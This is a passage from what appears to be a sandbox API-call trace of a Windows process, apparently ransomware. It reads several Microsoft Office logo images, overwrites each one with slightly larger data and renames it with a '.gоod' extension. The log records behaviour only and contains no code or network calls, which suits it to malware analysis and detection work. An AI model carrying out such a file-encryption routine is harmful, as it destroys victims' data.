(dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0256.057] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x94d69ea9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x610)) returned 1 [0256.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0256.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-black_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-black_scale-80.png.gоod")) returned 1 [0256.059] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x68 [0256.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0256.059] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3bc8100 | out: lpFileInformation=0x3bc8100*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73a)) returned 1 [0256.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0256.059] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x68 [0256.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0256.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.059] GetFileType (hFile=0x828) returned 0x1 [0256.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0256.059] GetFileType (hFile=0x828) returned 0x1 [0256.059] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x73a [0256.059] ReadFile (in: hFile=0x828, lpBuffer=0x3bc8bf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3bc8bf8*, lpNumberOfBytesRead=0x1fcee238*=0x73a, lpOverlapped=0x0) returned 1 [0256.060] CloseHandle (hObject=0x828) returned 1 [0256.071] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x68 [0256.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0256.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.072] GetFileType (hFile=0x828) returned 0x1 [0256.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0256.072] GetFileType (hFile=0x828) returned 0x1 [0256.072] WriteFile (in: hFile=0x828, lpBuffer=0x3c482d8*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3c482d8*, lpNumberOfBytesWritten=0x1fcee148*=0x740, lpOverlapped=0x0) returned 1 [0256.072] CloseHandle (hObject=0x828) returned 1 [0256.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png", lpFilePart=0x0) returned 0x68 [0256.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png.gоod", lpFilePart=0x0) returned 0x6d [0256.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0256.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x94d900a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0256.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0256.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-100.png.gоod")) returned 1 [0256.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x68 [0256.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0256.073] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3c49640 | out: lpFileInformation=0x3c49640*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ef)) returned 1 [0256.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0256.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x68 [0256.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0256.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0256.074] GetFileType (hFile=0x828) returned 0x1 [0256.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0256.074] GetFileType (hFile=0x828) returned 0x1 [0256.074] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7ef [0256.074] ReadFile (in: hFile=0x828, lpBuffer=0x3c4a1e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3c4a1e8*, lpNumberOfBytesRead=0x1fcee238*=0x7ef, lpOverlapped=0x0) returned 1 [0256.075] CloseHandle (hObject=0x828) returned 1 [0256.086] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x68 [0256.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0256.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0256.649] GetFileType (hFile=0x8a8) returned 0x1 [0256.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0256.649] GetFileType (hFile=0x8a8) returned 0x1 [0256.649] WriteFile (in: hFile=0x8a8, lpBuffer=0x3de5598*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3de5598*, lpNumberOfBytesWritten=0x1fcee148*=0x7f0, lpOverlapped=0x0) returned 1 [0256.649] CloseHandle (hObject=0x8a8) returned 1 [0256.649] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png", lpFilePart=0x0) returned 0x68 [0256.649] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png.gоod", lpFilePart=0x0) returned 0x6d [0256.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0256.649] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x953135b1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7f0)) returned 1 [0256.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0256.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-140.png.gоod")) returned 1 [0256.651] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x68 [0256.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0256.651] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x3de6900 | out: lpFileInformation=0x3de6900*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9aa)) returned 1 [0256.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0256.651] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x68 [0256.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0256.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0256.651] GetFileType (hFile=0x8a8) returned 0x1 [0256.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0256.651] GetFileType (hFile=0x8a8) returned 0x1 [0256.651] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x9aa [0256.651] ReadFile (in: hFile=0x8a8, lpBuffer=0x3de7668, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3de7668*, lpNumberOfBytesRead=0x1fcee238*=0x9aa, lpOverlapped=0x0) returned 1 [0256.652] CloseHandle (hObject=0x8a8) returned 1 [0256.688] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x68 [0256.688] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0256.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0256.689] GetFileType (hFile=0x8a8) returned 0x1 [0256.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0256.689] GetFileType (hFile=0x8a8) returned 0x1 [0256.689] WriteFile (in: hFile=0x8a8, lpBuffer=0x3e61d88*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3e61d88*, lpNumberOfBytesWritten=0x1fcee148*=0x9b0, lpOverlapped=0x0) returned 1 [0256.689] CloseHandle (hObject=0x8a8) returned 1 [0256.689] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x68 [0256.689] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x6d [0256.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0256.689] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9535fa21, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9b0)) returned 1 [0256.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0256.690] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-180.png.gоod")) returned 1 [0256.690] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x67 [0256.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0256.691] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3e630f0 | out: lpFileInformation=0x3e630f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60c)) returned 1 [0256.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0256.691] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x67 [0256.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0256.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0256.691] GetFileType (hFile=0x8a8) returned 0x1 [0256.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0256.691] GetFileType (hFile=0x8a8) returned 0x1 [0256.691] GetFileSize (in: hFile=0x8a8, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x60c [0256.691] ReadFile (in: hFile=0x8a8, lpBuffer=0x3e63aa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3e63aa8*, lpNumberOfBytesRead=0x1fcee238*=0x60c, lpOverlapped=0x0) returned 1 [0256.825] CloseHandle (hObject=0x8a8) returned 1 [0257.010] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x67 [0257.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0257.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0257.011] GetFileType (hFile=0x8a8) returned 0x1 [0257.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0257.011] GetFileType (hFile=0x8a8) returned 0x1 [0257.012] WriteFile (in: hFile=0x8a8, lpBuffer=0x3dd5560*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3dd5560*, lpNumberOfBytesWritten=0x1fcee148*=0x610, lpOverlapped=0x0) returned 1 [0257.012] CloseHandle (hObject=0x8a8) returned 1 [0257.012] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x67 [0257.012] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x6c [0257.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0257.012] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x95680d9a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x610)) returned 1 [0257.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0257.012] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\onenotelogosmall.contrast-white_scale-80.png.gоod")) returned 1 [0257.013] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OneNoteLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, 